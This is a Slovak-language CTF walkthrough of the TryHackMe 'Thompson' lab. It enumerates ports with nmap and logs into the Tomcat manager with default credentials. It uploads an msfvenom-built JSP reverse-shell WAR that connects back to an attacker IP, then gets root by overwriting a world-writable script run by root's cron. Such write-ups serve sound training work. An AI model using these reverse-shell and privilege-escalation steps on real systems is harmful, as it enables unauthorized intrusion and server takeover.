TryHackMe - Thompson
Celkom v pohode výzva, použitie tomcat file uploadu a metasploitu v praxi
Úvod
Celkom dobrá miestnosť pre začiatočníkov, ktorí si potrebujú precvičiť nahrávanie payload súborov a získať prístup týmto spôsobom. Nebola potrebná žiadna eskalácia privilégií, pretože dostupný skript potreboval len malú úpravu.
Celkovo celkom jednoduchá výzva, ale dobrá pre študentov
Nmap
Klasika, začiatok pomocou nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -T4 -n -sC -sV -Pn -p- 10.10.83.60
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
| 256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_ 256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Máme teda otvorené 3 porty
22/tcp
8009/tcp
8080/tcp
Prieskum
Navštívme web na adrese http://10.10.83.60:8080/
Môžeme vidieť podstránku manager
Zobrazí sa webový formulár, ale po kliknutí na tlačidlo Cancel budeme presmerovaní na túto stránku
Môžeme vidieť nejaké údaje
1
2
username: tomcat
password: s3cret
Tak ich skúsme
A sme prihlásený v manažérovi
Prvotný Prístup
Vidíme, že je k dispozícii nejaký nástroj na nahrávanie súborov, ktorý zrejme prijíma iba súbory .war
Stiahnime si php súbor reverzného shellu na https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Potrebujeme aktualizovať našu IP a PORT a uložiť súbor ako shell.php.war
, pretože web prijíma iba súbory .war
1
2
$ip = '10.11.75.122'; // CHANGE THIS
$port = 1337; // CHANGE THIS
Týmto spôsobom to nemôžeme spustiť
Zrejme toto nie je cesta, skúsme si vytvoriť súbor .war
pomocou metasploitu
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.75.122 LPORT=1337 -f war > exploit.war
Teraz skúsme nahrať súbor
Nahranie prebehlo v poriadku, teraz otvorme port na našej strane a navštívme našu stránku exploitu
Vlajka užívateľa
Prijali sme pripojenie a v /home/jack/user.txt
nájdeme vlajku užívateľa
Root Vlajka
Pozrime sa, aké súbory máme k dispozícii
1
2
3
4
5
cat id.sh
#!/bin/bash
id > test.txt
uid=0(root) gid=0(root) groups=0(root)
---
Zdá sa, že máme link, takže sa pozrime na cronjobs
1
2
3
4
5
6
7
8
9
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root cd /home/jack && bash id.sh
1
2
3
4
5
6
7
8
9
ls -la
total 48
drwxr-xr-x 4 jack jack 4096 Aug 23 2019 .
drwxr-xr-x 3 root root 4096 Aug 14 2019 ..
-rw------- 1 root root 1476 Aug 14 2019 .bash_history
-rw-r--r-- 1 jack jack 220 Aug 14 2019 .bash_logout
-rw-r--r-- 1 jack jack 3771 Aug 14 2019 .bashrc
drwx------ 2 jack jack 4096 Aug 14 2019 .cache
-rwxrwxrwx 1 jack jack 26 Aug 14 2019 id.sh
Zdá sa, že môžeme spustiť id.sh
ako root, takže môžeme len vypísať pomocou cat
obsah súboru root.txt
do súboru test.txt
1
echo "cat /root/root.txt > test.txt" > id.sh